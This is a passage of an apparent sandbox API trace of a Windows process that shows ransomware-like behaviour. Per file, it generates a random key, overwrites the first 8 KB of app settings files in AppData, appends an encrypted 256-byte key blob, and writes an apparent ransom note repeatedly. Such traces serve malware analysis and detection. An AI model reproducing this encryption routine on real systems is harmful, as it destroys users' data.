nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.970] SetFilePointer (in: hFile=0xc30, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.970] WriteFile (in: hFile=0xc30, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.970] SetFilePointer (in: hFile=0xc30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.970] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.970] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.970] WriteFile (in: hFile=0xc30, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.972] WriteFile (in: hFile=0xc30, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.972] CloseHandle (hObject=0xc30) returned 1 [0157.985] WriteFile (in: hFile=0xc3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.986] CloseHandle (hObject=0xc3c) returned 1 [0157.987] WriteFile (in: hFile=0xc3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.989] CloseHandle (hObject=0xc3c) returned 1 [0157.989] WriteFile (in: hFile=0xc3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.990] CloseHandle (hObject=0xc3c) returned 1 [0157.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0157.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.992] ReadFile (in: hFile=0xc50, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.992] SetFilePointer (in: hFile=0xc50, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.992] WriteFile (in: hFile=0xc50, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.992] SetFilePointer (in: hFile=0xc50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.993] WriteFile (in: hFile=0xc50, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.994] WriteFile (in: hFile=0xc50, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.994] CloseHandle (hObject=0xc50) returned 1 [0157.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0157.998] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.998] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.025] ReadFile (in: hFile=0xc50, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.037] SetFilePointer (in: hFile=0xc50, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.037] WriteFile (in: hFile=0xc50, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.038] SetFilePointer (in: hFile=0xc50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.038] WriteFile (in: hFile=0xc50, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.039] WriteFile (in: hFile=0xc50, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.039] CloseHandle (hObject=0xc50) returned 1 [0158.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0158.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.040] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.041] ReadFile (in: hFile=0xc50, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.050] SetFilePointer (in: hFile=0xc50, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.050] WriteFile (in: hFile=0xc50, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.051] SetFilePointer (in: hFile=0xc50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.051] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.051] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.051] WriteFile (in: hFile=0xc50, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.051] WriteFile (in: hFile=0xc50, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.052] CloseHandle (hObject=0xc50) returned 1 [0158.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0158.053] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.054] ReadFile (in: hFile=0xc50, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.054] SetFilePointer (in: hFile=0xc50, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.054] WriteFile (in: hFile=0xc50, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.054] SetFilePointer (in: hFile=0xc50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.054] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.054] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.054] WriteFile (in: hFile=0xc50, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.055] WriteFile (in: hFile=0xc50, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.056] CloseHandle (hObject=0xc50) returned 1 [0158.058] WriteFile (in: hFile=0xc5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.061] CloseHandle (hObject=0xc5c) returned 1 [0158.062] WriteFile (in: hFile=0xc5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.063] CloseHandle (hObject=0xc5c) returned 1 [0158.063] WriteFile (in: hFile=0xc5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.064] CloseHandle (hObject=0xc5c) returned 1 [0158.064] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.064] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.065] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.094] ReadFile (in: hFile=0xc70, lpBuffer=0x5c3548, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.094] SetFilePointer (in: hFile=0xc70, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.094] WriteFile (in: hFile=0xc70, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.095] SetFilePointer (in: hFile=0xc70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.095] WriteFile (in: hFile=0xc70, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.096] WriteFile (in: hFile=0xc70, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.096] CloseHandle (hObject=0xc70) returned 1 [0158.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.098] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.099] ReadFile (in: hFile=0xc70, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.125] SetFilePointer (in: hFile=0xc70, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.125] WriteFile (in: hFile=0xc70, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.125] SetFilePointer (in: hFile=0xc70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.126] WriteFile (in: hFile=0xc70, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.126] WriteFile (in: hFile=0xc70, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.126] CloseHandle (hObject=0xc70) returned 1 [0158.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.128] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.129] ReadFile (in: hFile=0xc70, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.165] SetFilePointer (in: hFile=0xc70, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.165] WriteFile (in: hFile=0xc70, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.165] SetFilePointer (in: hFile=0xc70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.166] WriteFile (in: hFile=0xc70, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.166] WriteFile (in: hFile=0xc70, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.167] CloseHandle (hObject=0xc70) returned 1 [0158.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.168] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.169] ReadFile (in: hFile=0xc70, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.169] SetFilePointer (in: hFile=0xc70, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.169] WriteFile (in: hFile=0xc70, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.169] SetFilePointer (in: hFile=0xc70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.169] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.169] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.169] WriteFile (in: hFile=0xc70, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.170] WriteFile (in: hFile=0xc70, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.171] CloseHandle (hObject=0xc70) returned 1 [0158.173] WriteFile (in: hFile=0xc7c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.174] CloseHandle (hObject=0xc7c) returned 1 [0158.176] WriteFile (in: hFile=0xc7c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.177] CloseHandle (hObject=0xc7c) returned 1 [0158.177] WriteFile (in: hFile=0xc7c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.178] CloseHandle (hObject=0xc7c) returned 1 [0158.179] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0158.179] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0158.179] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.179] ReadFile (in: hFile=0xc90, lpBuffer=0x5c3548, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.179] SetFilePointer (in: hFile=0xc90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.179] WriteFile (in: hFile=0xc90, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.179] SetFilePointer (in: hFile=0xc90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.180] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.180] WriteFile (in: hFile=0xc90, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 